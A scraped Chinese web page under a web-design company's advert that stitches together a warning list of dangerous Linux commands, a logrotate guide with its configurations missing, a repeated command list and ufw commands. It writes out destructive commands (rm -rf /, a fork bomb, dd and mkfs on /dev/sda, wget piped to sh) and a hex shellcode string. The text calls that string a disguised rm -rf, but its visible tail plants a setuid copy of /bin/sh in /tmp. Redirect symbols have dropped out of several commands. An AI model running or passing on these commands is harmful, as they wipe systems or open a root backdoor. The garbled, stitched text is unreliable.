Linux中最危險的10個命令
創(chuàng)新互聯(lián)是一家專業(yè)從事網站建設、成都網站制作的網絡公司。作為專業(yè)的建站公司,創(chuàng)新互聯(lián)依托的技術實力、以及多年的網站運營經驗,為您提供專業(yè)的成都網站建設、成都營銷網站建設及網站設計開發(fā)服務!
對于編程人員或或者Linux系統(tǒng)管理員來說,操作Linux系統(tǒng)最常見的方法就是使用命令行。當然,Linux命令行佷有用、很高效,但有時候也很危險,尤其是在你誤操作或者不確定你自己在正在做什么的時候。下面我就為大家盤點最危險是10個命令,一起來看看吧!
當然,以下命令通常都是在root權限下才能將愚蠢發(fā)揮到無可救藥;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統(tǒng)崩壞。下列是一些rm 命令的選項。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個人認為此處應該是說錯了,從常識看,應該是“甚至是非空的文件夾”)
rm -f 命令能不經過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權限。所以,-f這個參數 只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發(fā)行版都會將rm通過別名的方式增加-i參數來 要求刪除確認,而-f則抑制了這個提示。)
rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強制刪除當前目錄的所有文件。
rm -rf . : 強制刪除當前文件夾及其子文件夾。
從 現在起,當你要執(zhí)行rm -rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創(chuàng)建rm -i的別名,來預防用 ‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯注:大多數發(fā)行版已經這樣做了,如果還沒有,請這樣做,并在使用-f參數前一定考慮好 你在做什么!譯者本人有著血淚的教訓啊。)
2. :(){:|:};: 命令
這就是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數,它會調用自己兩次,一次在前臺另一次運行在后臺。它會反復的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認你要試試么?千萬別在公司正式的服務器上實驗啊~~
3. 命令 /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設備是一個特殊的文件,所有寫入它的數據都會被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,并不能阻止 數據恢復軟件的救贖,所以,真正的`徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本并執(zhí)行。Wget命令會下載這個腳本,而sh會(無條件的)執(zhí)行下載下來的腳本。
注意: 你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設備(硬盤驅 動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統(tǒng)達到不可恢復的階段。(譯注:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區(qū)進行mkfs都是毀 滅性的,上面的數據都會被蒸發(fā)了。)
7. file
上列命令常用來清空文件內容(譯注:通常也用于記錄命令輸出。 不過請在執(zhí)行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執(zhí)行時輸入錯誤或無知的輸入類似 “xt.conf” 的命令會覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個命令在“鮮為人知而又實用的 Linux 命令大全:”中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯注:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統(tǒng)可能陷入混亂和不可恢復的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數據么?那么這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區(qū)。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什么結果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學或學校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個命令,因為這將導致數據丟失或者系統(tǒng)崩潰。如果你想測試它們,請在虛擬機上運行。
;
有些服務,會自動產生大量的日志文件,如果不限制,會占用磁盤空間。
如果單純的用定時任務crontab刪除,又不太靈活,這時需要日志神器logrotate。
logrotate工具是系統(tǒng)自帶為了方便進行日志管理而產生的一個工具。
系統(tǒng)會定時運行 logrotate,一般是每天一次。也是基于定時任務crontab運行的。
配置文件:
主配置文件的位置在 /etc/logrotate.conf,一般配置在 /etc/logrotate.d/子目錄下。
如系統(tǒng)默認日志配置:
配置文件參數:
更多信息請參考man logrotate幫助文檔
模板是通用的,而配置參數則根據你的需求進行調整,不是所有的參數都是必要的。
在上面的配置文件中,我們只想要輪詢一個日志文件,size=50M 指定日志文件大小可以增長到 50MB,dateext 指 示讓舊日志文件以創(chuàng)建日期命名。
可自行參考/etc/logrotate.d/目錄下系統(tǒng)默認的文件。
logrotate命令:
具體 logrotate 命令格式如下:
要為某個特定的配置調用 logrotate:
排障過程中的最佳選擇是使用-d選項以預演方式運行 logrotate。要進行驗證,不用實際輪循任何日志文件, 可以模擬演練日志輪循并顯示其輸出。
正如我們從上面的輸出結果可以看到的,logrotate 判斷該輪循是不必要的。如果文件的時間小于一天,就會發(fā)生了。
強制輪循即使輪循條件沒有滿足,我們也可以通過使用-f選項來強制 logrotate 輪循日志文件,-v參數提供了詳細的輸出。
個人項目配置:
項目每天可產生20G左右的日志,顯示不能做每日輪詢,所以額外需要添加定時任務做每小時,或者每隔多少分鐘。
如果輪詢日志異常報錯如下:
error: skipping “” because parent directory has insecure permissions (It’s world writable or writable by group which is not “root”) Set “su” directive in config file to tell logrotate which user/group should be used for rotation.”
需要加 su root root 選項。
同時添加定時任務:
定時任務說明:
第一條,每隔40分鐘輪詢執(zhí)行一次logrotate任務。
第二條,每天凌晨4點刪除前一天的日志,原因如下:
由于項目系統(tǒng)產生日志格式的原因,會導致以下情況:
如果昨天的分割到4個后(或者1,2,3),時間到第二天后,沒法轉儲遞增,會一直停留在4,沒法刪除,每天會有,久而久之,也會占用磁盤空間。所以需要定時刪除。
設置完成
開啟定時任務日志,以便查看定時任務是否執(zhí)行。后續(xù)可取消。
重啟rsyslog
這9個“非常危險”的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統(tǒng)崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執(zhí)行rm -rf命令時,一定要留心,可以在“.bashrc”文件對“rm”命令創(chuàng)建rm
-i的別名,來預防用‘rm’命令刪除文件時的事故。
2、:(){:|:};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前臺另一次運行在后臺。它會反復的執(zhí)行下去直到系統(tǒng)崩潰。
3、命令 /dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然后返回寫操作成功。
5、wget -O- | sh
上面這個命令會從一個惡意源下載一個腳本并執(zhí)行。Wget命令會下載這個腳本,而sh會執(zhí)行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執(zhí)行上列命令后你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統(tǒng)達到不可恢復的階段。
7、 file
上面命令常用來清空文件內容,如果用上列執(zhí)行時輸入錯誤或無知的輸入類似“ xt.conf” 的命令會覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統(tǒng)可能陷入混亂和不可恢復的狀態(tài)。
Linux防火墻關閉和開啟命令:
關閉:sudo ufw disable
開啟:sudo ufw enable
拓展:Linux防火墻規(guī)則添加和刪除命令:
添加:sudo ufw allow port/protocol
刪除:sudo ufw delete port/protocol